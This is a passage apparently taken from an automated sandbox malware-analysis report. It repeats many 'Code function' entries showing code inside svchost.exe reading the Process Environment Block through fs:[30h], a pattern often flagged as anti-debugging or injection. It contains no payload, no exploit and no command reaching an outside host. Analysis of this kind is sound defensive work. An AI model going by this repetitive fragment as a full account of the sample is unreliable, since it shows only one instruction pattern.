            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]2_2_02F34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]2_2_02F34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]2_2_02F34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2826B mov eax, dword ptr fs:[00000030h]2_2_02F2826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A250 mov eax, dword ptr fs:[00000030h]2_2_02F2A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36259 mov eax, dword ptr fs:[00000030h]2_2_02F36259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEA250 mov eax, dword ptr fs:[00000030h]2_2_02FEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEA250 mov eax, dword ptr fs:[00000030h]2_2_02FEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB8243 mov eax, dword ptr fs:[00000030h]2_2_02FB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB8243 mov ecx, dword ptr fs:[00000030h]2_2_02FB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2823B mov eax, dword ptr fs:[00000030h]2_2_02F2823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]2_2_02F4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]2_2_02F4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]2_2_02F4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F663FF mov eax, dword ptr fs:[00000030h]2_2_02F663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]2_2_02F403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]2_2_02FDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]2_2_02FDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE3DB mov ecx, dword ptr fs:[00000030h]2_2_02FDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]2_2_02FDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD43D4 mov eax, dword ptr fs:[00000030h]2_2_02FD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD43D4 mov eax, dword ptr fs:[00000030h]2_2_02FD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEC3CD mov eax, dword ptr fs:[00000030h]2_2_02FEC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]2_2_02F3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]2_2_02F383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]2_2_02F383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]2_2_02F383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]2_2_02F383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB63C0 mov eax, dword ptr fs:[00000030h]2_2_02FB63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300625D mov eax, dword ptr fs:[00000030h]2_2_0300625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]2_2_02F28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]2_2_02F28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]2_2_02F28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]2_2_02F2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]2_2_02F2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]2_2_02F2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5438F mov eax, dword ptr fs:[00000030h]2_2_02F5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5438F mov eax, dword ptr fs:[00000030h]2_2_02F5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD437C mov eax, dword ptr fs:[00000030h]2_2_02FD437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov ecx, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]2_2_02FB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFA352 mov eax, dword ptr fs:[00000030h]2_2_02FFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD8350 mov ecx, dword ptr fs:[00000030h]2_2_02FD8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]2_2_02FB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030062D6 mov eax, dword ptr fs:[00000030h]2_2_030062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2C310 mov ecx, dword ptr fs:[00000030h]2_2_02F2C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F50310 mov ecx, dword ptr fs:[00000030h]2_2_02F50310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]2_2_02F6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]2_2_02F6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]2_2_02F6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2C0F0 mov eax, dword ptr fs:[00000030h]2_2_02F2C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F720F0 mov ecx, dword ptr fs:[00000030h]2_2_02F720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A0E3 mov ecx, dword ptr fs:[00000030h]2_2_02F2A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F380E9 mov eax, dword ptr fs:[00000030h]2_2_02F380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB60E0 mov eax, dword ptr fs:[00000030h]2_2_02FB60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB20DE mov eax, dword ptr fs:[00000030h]2_2_02FB20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF60B8 mov eax, dword ptr fs:[00000030h]2_2_02FF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF60B8 mov ecx, dword ptr fs:[00000030h]2_2_02FF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F280A0 mov eax, dword ptr fs:[00000030h]2_2_02F280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC80A8 mov eax, dword ptr fs:[00000030h]2_2_02FC80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004164 mov eax, dword ptr fs:[00000030h]2_2_03004164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03004164 mov eax, dword ptr fs:[00000030h]2_2_03004164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3208A mov eax, dword ptr fs:[00000030h]2_2_02F3208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5C073 mov eax, dword ptr fs:[00000030h]2_2_02F5C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F32050 mov eax, dword ptr fs:[00000030h]2_2_02F32050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB6050 mov eax, dword ptr fs:[00000030h]2_2_02FB6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC6030 mov eax, dword ptr fs:[00000030h]2_2_02FC6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A020 mov eax, dword ptr fs:[00000030h]2_2_02F2A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2C020 mov eax, dword ptr fs:[00000030h]2_2_02F2C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]2_2_02F4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]2_2_02F4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]2_2_02F4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]2_2_02F4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030061E5 mov eax, dword ptr fs:[00000030h]2_2_030061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB4000 mov ecx, dword ptr fs:[00000030h]2_2_02FB4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]2_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F601F8 mov eax, dword ptr fs:[00000030h]2_2_02F601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]2_2_02FAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]2_2_02FAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE1D0 mov ecx, dword ptr fs:[00000030h]2_2_02FAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]2_2_02FAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]2_2_02FAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF61C3 mov eax, dword ptr fs:[00000030h]2_2_02FF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF61C3 mov eax, dword ptr fs:[00000030h]2_2_02FF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]2_2_02FB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]2_2_02FB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]2_2_02FB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]2_2_02FB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]2_2_02F2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]2_2_02F2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]2_2_02F2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F70185 mov eax, dword ptr fs:[00000030h]2_2_02F70185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEC188 mov eax, dword ptr fs:[00000030h]2_2_02FEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEC188 mov eax, dword ptr fs:[00000030h]2_2_02FEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD4180 mov eax, dword ptr fs:[00000030h]2_2_02FD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD4180 mov eax, dword ptr fs:[00000030h]2_2_02FD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2C156 mov eax, dword ptr fs:[00000030h]2_2_02F2C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC8158 mov eax, dword ptr fs:[00000030h]2_2_02FC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36154 mov eax, dword ptr fs:[00000030h]2_2_02F36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F36154 mov eax, dword ptr fs:[00000030h]2_2_02F36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]2_2_02FC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]2_2_02FC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC4144 mov ecx, dword ptr fs:[00000030h]2_2_02FC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]2_2_02FC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]2_2_02FC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F60124 mov eax, dword ptr fs:[00000030h]2_2_02F60124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDA118 mov ecx, dword ptr fs:[00000030h]2_2_02FDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]2_2_02FDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]2_2_02FDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]2_2_02FDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF0115 mov eax, dword ptr fs:[00000030h]2_2_02FF0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]2_2_02FDE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]2_2_02FAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]2_2_02FAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]2_2_02FAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]2_2_02FAE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB06F1 mov eax, dword ptr fs:[00000030h]2_2_02FB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB06F1 mov eax, dword ptr fs:[00000030h]2_2_02FB06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A6C7 mov ebx, dword ptr fs:[00000030h]2_2_02F6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A6C7 mov eax, dword ptr fs:[00000030h]2_2_02F6A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F666B0 mov eax, dword ptr fs:[00000030h]2_2_02F666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6C6A6 mov eax, dword ptr fs:[00000030h]2_2_02F6C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34690 mov eax, dword ptr fs:[00000030h]2_2_02F34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F34690 mov eax, dword ptr fs:[00000030h]2_2_02F34690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F62674 mov eax, dword ptr fs:[00000030h]2_2_02F62674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF866E mov eax, dword ptr fs:[00000030h]2_2_02FF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF866E mov eax, dword ptr fs:[00000030h]2_2_02FF866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A660 mov eax, dword ptr fs:[00000030h]2_2_02F6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6A660 mov eax, dword ptr fs:[00000030h]2_2_02F6A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4C640 mov eax, dword ptr fs:[00000030h]2_2_02F4C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E627 mov eax, dword ptr fs:[00000030h]2_2_02F4E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F66620 mov eax, dword ptr fs:[00000030h]2_2_02F66620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F68620 mov eax, dword ptr fs:[00000030h]2_2_02F68620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3262C mov eax, dword ptr fs:[00000030h]2_2_02F3262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72619 mov eax, dword ptr fs:[00000030h]2_2_02F72619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAE609 mov eax, dword ptr fs:[00000030h]2_2_02FAE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]2_2_02F4260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F347FB mov eax, dword ptr fs:[00000030h]2_2_02F347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F347FB mov eax, dword ptr fs:[00000030h]2_2_02F347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]2_2_02F527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]2_2_02F527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]2_2_02F527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBE7E1 mov eax, dword ptr fs:[00000030h]2_2_02FBE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3C7C0 mov eax, dword ptr fs:[00000030h]2_2_02F3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB07C3 mov eax, dword ptr fs:[00000030h]2_2_02FB07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F307AF mov eax, dword ptr fs:[00000030h]2_2_02F307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE47A0 mov eax, dword ptr fs:[00000030h]2_2_02FE47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD678E mov eax, dword ptr fs:[00000030h]2_2_02FD678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F38770 mov eax, dword ptr fs:[00000030h]2_2_02F38770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]2_2_02F40770
